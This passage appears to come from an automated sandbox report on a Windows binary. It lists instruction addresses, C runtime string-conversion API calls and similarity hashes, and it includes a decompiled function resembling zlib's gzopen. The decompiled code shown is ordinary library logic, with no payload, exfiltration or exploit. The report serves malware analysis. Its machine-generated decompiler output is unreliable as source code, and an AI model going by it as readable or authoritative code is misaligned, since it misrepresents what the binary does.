                                                                                                                                                                                          0x004170bd
                                                                                                                                                                                          0x004170bb
                                                                                                                                                                                          0x004170dd
                                                                                                                                                                                          0x00417101
                                                                                                                                                                                          0x00417101
                                                                                                                                                                                          0x00417109
                                                                                                                                                                                          0x004172bb
                                                                                                                                                                                          0x004172be
                                                                                                                                                                                          0x004172c1
                                                                                                                                                                                          0x004172c4
                                                                                                                                                                                          0x004172cb
                                                                                                                                                                                          0x004172cb
                                                                                                                                                                                          0x004172ce
                                                                                                                                                                                          0x004172d1
                                                                                                                                                                                          0x004172d8
                                                                                                                                                                                          0x004172d8
                                                                                                                                                                                          0x004172de
                                                                                                                                                                                          0x004172e4
                                                                                                                                                                                          0x004172e7
                                                                                                                                                                                          0x004172ea
                                                                                                                                                                                          0x004172f3
                                                                                                                                                                                          0x004172f6
                                                                                                                                                                                          0x004173ef
                                                                                                                                                                                          0x004173f1
                                                                                                                                                                                          0x004173f1
                                                                                                                                                                                          0x004173f4
                                                                                                                                                                                          0x004173f6
                                                                                                                                                                                          0x004173f9
                                                                                                                                                                                          0x004173fe
                                                                                                                                                                                          0x004173ff
                                                                                                                                                                                          0x00417402
                                                                                                                                                                                          0x00417404
                                                                                                                                                                                          0x00417406
                                                                                                                                                                                          0x00417409
                                                                                                                                                                                          0x0041740b
                                                                                                                                                                                          0x0041740c
                                                                                                                                                                                          0x00417411
                                                                                                                                                                                          0x00417409
                                                                                                                                                                                          0x00417412
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417412
                                                                                                                                                                                          0x00417309
                                                                                                                                                                                          0x0041730e
                                                                                                                                                                                          0x00417311
                                                                                                                                                                                          0x00417314
                                                                                                                                                                                          0x00417316
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041732a
                                                                                                                                                                                          0x0041732c
                                                                                                                                                                                          0x0041732f
                                                                                                                                                                                          0x00417331
                                                                                                                                                                                          0x0041733a
                                                                                                                                                                                          0x00417379
                                                                                                                                                                                          0x00417379
                                                                                                                                                                                          0x00417379
                                                                                                                                                                                          0x0041737b
                                                                                                                                                                                          0x0041737b
                                                                                                                                                                                          0x0041737d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417384
                                                                                                                                                                                          0x0041739c
                                                                                                                                                                                          0x0041739e
                                                                                                                                                                                          0x004173a1
                                                                                                                                                                                          0x004173a3
                                                                                                                                                                                          0x004173bf
                                                                                                                                                                                          0x004173c1
                                                                                                                                                                                          0x004173c9
                                                                                                                                                                                          0x004173cb
                                                                                                                                                                                          0x004173cb
                                                                                                                                                                                          0x004173a5
                                                                                                                                                                                          0x004173a5
                                                                                                                                                                                          0x004173a5
                                                                                                                                                                                          0x004173cf
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004173d4
                                                                                                                                                                                          0x0041733c
                                                                                                                                                                                          0x0041733f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417341
                                                                                                                                                                                          0x00417344
                                                                                                                                                                                          0x00417349
                                                                                                                                                                                          0x00417362
                                                                                                                                                                                          0x00417368
                                                                                                                                                                                          0x0041736a
                                                                                                                                                                                          0x0041736c
                                                                                                                                                                                          0x00417372
                                                                                                                                                                                          0x00417372
                                                                                                                                                                                          0x00417372
                                                                                                                                                                                          0x00417375
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417375
                                                                                                                                                                                          0x0041734b
                                                                                                                                                                                          0x00417350
                                                                                                                                                                                          0x00417352
                                                                                                                                                                                          0x00417354
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417356
                                                                                                                                                                                          0x0041735c
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041735c
                                                                                                                                                                                          0x00417333
                                                                                                                                                                                          0x00417333
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417117
                                                                                                                                                                                          0x0041711a
                                                                                                                                                                                          0x004172ec
                                                                                                                                                                                          0x004172ec
                                                                                                                                                                                          0x00417414
                                                                                                                                                                                          0x00417425
                                                                                                                                                                                          0x00417425
                                                                                                                                                                                          0x00417120
                                                                                                                                                                                          0x00417126
                                                                                                                                                                                          0x0041712d
                                                                                                                                                                                          0x0041712d
                                                                                                                                                                                          0x00417130
                                                                                                                                                                                          0x00417153
                                                                                                                                                                                          0x00417155
                                                                                                                                                                                          0x00417157
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041715d
                                                                                                                                                                                          0x0041715d
                                                                                                                                                                                          0x004171a2
                                                                                                                                                                                          0x004171a2
                                                                                                                                                                                          0x004171a5
                                                                                                                                                                                          0x004171a8
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004171c1
                                                                                                                                                                                          0x004172aa
                                                                                                                                                                                          0x004172ad
                                                                                                                                                                                          0x004172b2
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004172b5
                                                                                                                                                                                          0x004171c7
                                                                                                                                                                                          0x004171db
                                                                                                                                                                                          0x004171dd
                                                                                                                                                                                          0x004171e2
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004171ef
                                                                                                                                                                                          0x0041721a
                                                                                                                                                                                          0x0041721c
                                                                                                                                                                                          0x00417263
                                                                                                                                                                                          0x00417263
                                                                                                                                                                                          0x00417263
                                                                                                                                                                                          0x00417265
                                                                                                                                                                                          0x00417265
                                                                                                                                                                                          0x00417267
                                                                                                                                                                                          0x00417277
                                                                                                                                                                                          0x0041727d
                                                                                                                                                                                          0x0041727f
                                                                                                                                                                                          0x00417281
                                                                                                                                                                                          0x00417282
                                                                                                                                                                                          0x00417283
                                                                                                                                                                                          0x00417286
                                                                                                                                                                                          0x0041728c
                                                                                                                                                                                          0x0041728f
                                                                                                                                                                                          0x00417288
                                                                                                                                                                                          0x00417288
                                                                                                                                                                                          0x00417289
                                                                                                                                                                                          0x00417289
                                                                                                                                                                                          0x004172a0
                                                                                                                                                                                          0x004172a0
                                                                                                                                                                                          0x004172a4
                                                                                                                                                                                          0x004172a9
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417267
                                                                                                                                                                                          0x00417222
                                                                                                                                                                                          0x00417223
                                                                                                                                                                                          0x00417225
                                                                                                                                                                                          0x00417228
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041722a
                                                                                                                                                                                          0x0041722a
                                                                                                                                                                                          0x0041722e
                                                                                                                                                                                          0x00417233
                                                                                                                                                                                          0x0041724c
                                                                                                                                                                                          0x00417252
                                                                                                                                                                                          0x00417254
                                                                                                                                                                                          0x00417256
                                                                                                                                                                                          0x0041725c
                                                                                                                                                                                          0x0041725c
                                                                                                                                                                                          0x0041725c
                                                                                                                                                                                          0x0041725f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041725f
                                                                                                                                                                                          0x00417235
                                                                                                                                                                                          0x0041723a
                                                                                                                                                                                          0x0041723c
                                                                                                                                                                                          0x0041723e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417240
                                                                                                                                                                                          0x00417246
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417246
                                                                                                                                                                                          0x004171f4
                                                                                                                                                                                          0x00417213
                                                                                                                                                                                          0x00417213
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004171f4
                                                                                                                                                                                          0x00417163
                                                                                                                                                                                          0x00417164
                                                                                                                                                                                          0x00417169
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041716b
                                                                                                                                                                                          0x0041716b
                                                                                                                                                                                          0x00417174
                                                                                                                                                                                          0x0041718a
                                                                                                                                                                                          0x00417190
                                                                                                                                                                                          0x00417192
                                                                                                                                                                                          0x0041719d
                                                                                                                                                                                          0x0041719d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041719d
                                                                                                                                                                                          0x00417194
                                                                                                                                                                                          0x0041719a
                                                                                                                                                                                          0x0041719a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041719a
                                                                                                                                                                                          0x00417176
                                                                                                                                                                                          0x0041717b
                                                                                                                                                                                          0x0041717f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417181
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00417181
                                                                                                                                                                                          0x00417157
                                                                                                                                                                                          0x00417109
                                                                                                                                                                                          0x004170df
                                                                                                                                                                                          0x004170e2
                                                                                                                                                                                          0x004170e5
                                                                                                                                                                                          0x004170e5
                                                                                                                                                                                          0x004170e8
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004170ea
                                                                                                                                                                                          0x004170ed
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004170ef
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004170ef
                                                                                                                                                                                          0x004170f7
                                                                                                                                                                                          0x004170fb
                                                                                                                                                                                          0x004170fd
                                                                                                                                                                                          0x004170fd
                                                                                                                                                                                          0x004170fe
                                                                                                                                                                                          0x00000000

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
                                                                                                                                                                                          • GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,02221858), ref: 004170C5
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
                                                                                                                                                                                          • _malloc.LIBCMT ref: 0041718A
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
                                                                                                                                                                                          • LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
                                                                                                                                                                                          • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
                                                                                                                                                                                          • _malloc.LIBCMT ref: 0041724C
                                                                                                                                                                                          • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
                                                                                                                                                                                          • WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
                                                                                                                                                                                          • __freea.LIBCMT ref: 004172A4
                                                                                                                                                                                          • __freea.LIBCMT ref: 004172AD
                                                                                                                                                                                          • ___ansicp.LIBCMT ref: 004172DE
                                                                                                                                                                                          • ___convertcp.LIBCMT ref: 00417309
                                                                                                                                                                                          • LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00417362
                                                                                                                                                                                          • _memset.LIBCMT ref: 00417384
                                                                                                                                                                                          • LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
                                                                                                                                                                                          • ___convertcp.LIBCMT ref: 004173BA
                                                                                                                                                                                          • __freea.LIBCMT ref: 004173CF
                                                                                                                                                                                          • LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3809854901-0
                                                                                                                                                                                          • Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
                                                                                                                                                                                          • Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
                                                                                                                                                                                          • Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
                                                                                                                                                                                          • Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 008272D1, Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 340COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00827303
                                                                                                                                                                                          • GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00423620), ref: 00827315
                                                                                                                                                                                          • _malloc.LIBCMT ref: 008273DA
                                                                                                                                                                                          • _malloc.LIBCMT ref: 0082749C
                                                                                                                                                                                          • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 008274C7
                                                                                                                                                                                          • WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 008274EA
                                                                                                                                                                                          • __freea.LIBCMT ref: 008274F4
                                                                                                                                                                                          • __freea.LIBCMT ref: 008274FD
                                                                                                                                                                                          • ___ansicp.LIBCMT ref: 0082752E
                                                                                                                                                                                          • ___convertcp.LIBCMT ref: 00827559
                                                                                                                                                                                          • _malloc.LIBCMT ref: 008275B2
                                                                                                                                                                                          • _memset.LIBCMT ref: 008275D4
                                                                                                                                                                                          • ___convertcp.LIBCMT ref: 0082760A
                                                                                                                                                                                          • __freea.LIBCMT ref: 0082761F
                                                                                                                                                                                          • LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00827639
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: String__freea_malloc$___convertcp$ByteCharErrorLastMultiWide___ansicp_memset
                                                                                                                                                                                          • String ID: pWtPMt Ut Ot FbwItTt
                                                                                                                                                                                          • API String ID: 2918745354-3267738785
                                                                                                                                                                                          • Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
                                                                                                                                                                                          • Instruction ID: 6f564439432bff66442f56ff40e91e9b4f426acb4032b1f90a66f4d01d2b8572
                                                                                                                                                                                          • Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
                                                                                                                                                                                          • Instruction Fuzzy Hash: 70B1AD7290412AAFDF119FA6EC848AE7FB9FF08314B118129F915E2260D735CDD0DB95
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 004057B0, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 83%
                                                                                                                                                                                          			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

































                                                                                                                                                                                          0x004057b7
                                                                                                                                                                                          0x004057bf
                                                                                                                                                                                          0x004057c3
                                                                                                                                                                                          0x004057c5
                                                                                                                                                                                          0x004057cd
                                                                                                                                                                                          0x004059c8
                                                                                                                                                                                          0x004059ce
                                                                                                                                                                                          0x004057db
                                                                                                                                                                                          0x004057e3
                                                                                                                                                                                          0x004057e5
                                                                                                                                                                                          0x004057ea
                                                                                                                                                                                          0x00405921
                                                                                                                                                                                          0x0040592a
                                                                                                                                                                                          0x004057f0
                                                                                                                                                                                          0x004057f3
                                                                                                                                                                                          0x004057f6
                                                                                                                                                                                          0x004057f9
                                                                                                                                                                                          0x004057fc
                                                                                                                                                                                          0x004057ff
                                                                                                                                                                                          0x00405801
                                                                                                                                                                                          0x00405804
                                                                                                                                                                                          0x00405807
                                                                                                                                                                                          0x0040580a
                                                                                                                                                                                          0x0040580d
                                                                                                                                                                                          0x00405810
                                                                                                                                                                                          0x00405813
                                                                                                                                                                                          0x00405816
                                                                                                                                                                                          0x00405819
                                                                                                                                                                                          0x0040581c
                                                                                                                                                                                          0x00405824
                                                                                                                                                                                          0x00405827
                                                                                                                                                                                          0x0040582b
                                                                                                                                                                                          0x0040582e
                                                                                                                                                                                          0x00405831
                                                                                                                                                                                          0x00405834
                                                                                                                                                                                          0x00405837
                                                                                                                                                                                          0x00405837
                                                                                                                                                                                          0x00405839
                                                                                                                                                                                          0x0040583a
                                                                                                                                                                                          0x00405842
                                                                                                                                                                                          0x00405847
                                                                                                                                                                                          0x0040584a
                                                                                                                                                                                          0x0040584f
                                                                                                                                                                                          0x0040591c
                                                                                                                                                                                          0x0040591c
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405855
                                                                                                                                                                                          0x00405855
                                                                                                                                                                                          0x00405859
                                                                                                                                                                                          0x0040585b
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405870
                                                                                                                                                                                          0x00405872
                                                                                                                                                                                          0x00405874
                                                                                                                                                                                          0x00405874
                                                                                                                                                                                          0x00405877
                                                                                                                                                                                          0x0040587b
                                                                                                                                                                                          0x00405881
                                                                                                                                                                                          0x00405881
                                                                                                                                                                                          0x00405885
                                                                                                                                                                                          0x00405889
                                                                                                                                                                                          0x00405897
                                                                                                                                                                                          0x00405899
                                                                                                                                                                                          0x004058a5
                                                                                                                                                                                          0x004058a7
                                                                                                                                                                                          0x004058b3
                                                                                                                                                                                          0x004058b5
                                                                                                                                                                                          0x004058c1
                                                                                                                                                                                          0x004058c5
                                                                                                                                                                                          0x004058c7
                                                                                                                                                                                          0x004058c7
                                                                                                                                                                                          0x004058c8
                                                                                                                                                                                          0x004058b7
                                                                                                                                                                                          0x004058b7
                                                                                                                                                                                          0x004058b7
                                                                                                                                                                                          0x004058a9
                                                                                                                                                                                          0x004058a9
                                                                                                                                                                                          0x004058a9
                                                                                                                                                                                          0x0040589b
                                                                                                                                                                                          0x0040589b
                                                                                                                                                                                          0x0040589b
                                                                                                                                                                                          0x0040588f
                                                                                                                                                                                          0x00405892
                                                                                                                                                                                          0x00405892
                                                                                                                                                                                          0x004058cc
                                                                                                                                                                                          0x004058cf
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004058d1
                                                                                                                                                                                          0x004058d9
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004058db
                                                                                                                                                                                          0x004058db
                                                                                                                                                                                          0x004058e0
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004058e2
                                                                                                                                                                                          0x004058e4
                                                                                                                                                                                          0x00405930
                                                                                                                                                                                          0x0040593f
                                                                                                                                                                                          0x00405942
                                                                                                                                                                                          0x00405944
                                                                                                                                                                                          0x00405949
                                                                                                                                                                                          0x0040594c
                                                                                                                                                                                          0x0040594e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405950
                                                                                                                                                                                          0x00405950
                                                                                                                                                                                          0x00405953
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405953
                                                                                                                                                                                          0x004058e6
                                                                                                                                                                                          0x004058ea
                                                                                                                                                                                          0x004058ec
                                                                                                                                                                                          0x004058f1
                                                                                                                                                                                          0x004058f2
                                                                                                                                                                                          0x004058f4
                                                                                                                                                                                          0x004058f6
                                                                                                                                                                                          0x004058f8
                                                                                                                                                                                          0x004058f9
                                                                                                                                                                                          0x00405904
                                                                                                                                                                                          0x00405906
                                                                                                                                                                                          0x0040590b
                                                                                                                                                                                          0x0040590e
                                                                                                                                                                                          0x00405911
                                                                                                                                                                                          0x00405916
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405955
                                                                                                                                                                                          0x00405955
                                                                                                                                                                                          0x00405955
                                                                                                                                                                                          0x00405961
                                                                                                                                                                                          0x00405963
                                                                                                                                                                                          0x00405967
                                                                                                                                                                                          0x0040596d
                                                                                                                                                                                          0x0040596e
                                                                                                                                                                                          0x0040597c
                                                                                                                                                                                          0x0040597d
                                                                                                                                                                                          0x00405970
                                                                                                                                                                                          0x00405970
                                                                                                                                                                                          0x00405974
                                                                                                                                                                                          0x00405975
                                                                                                                                                                                          0x00405975
                                                                                                                                                                                          0x00405985
                                                                                                                                                                                          0x00405988
                                                                                                                                                                                          0x0040598a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040598c
                                                                                                                                                                                          0x0040598c
                                                                                                                                                                                          0x00405990
                                                                                                                                                                                          0x004059a5
                                                                                                                                                                                          0x004059ad
                                                                                                                                                                                          0x004059b6
                                                                                                                                                                                          0x004059b6
                                                                                                                                                                                          0x004059b9
                                                                                                                                                                                          0x004059c5
                                                                                                                                                                                          0x00405992
                                                                                                                                                                                          0x00405992
                                                                                                                                                                                          0x004059a2
                                                                                                                                                                                          0x004059a2
                                                                                                                                                                                          0x00405990
                                                                                                                                                                                          0x0040598a
                                                                                                                                                                                          0x00405916
                                                                                                                                                                                          0x004058e4
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405860
                                                                                                                                                                                          0x00405860
                                                                                                                                                                                          0x00405862
                                                                                                                                                                                          0x00405864
                                                                                                                                                                                          0x00405865
                                                                                                                                                                                          0x00405868
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040586a
                                                                                                                                                                                          0x0040586a
                                                                                                                                                                                          0x0040586d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00405868
                                                                                                                                                                                          0x0040584f
                                                                                                                                                                                          0x004057ea
                                                                                                                                                                                          0x00000000

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • _malloc.LIBCMT ref: 004057DE
                                                                                                                                                                                            • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
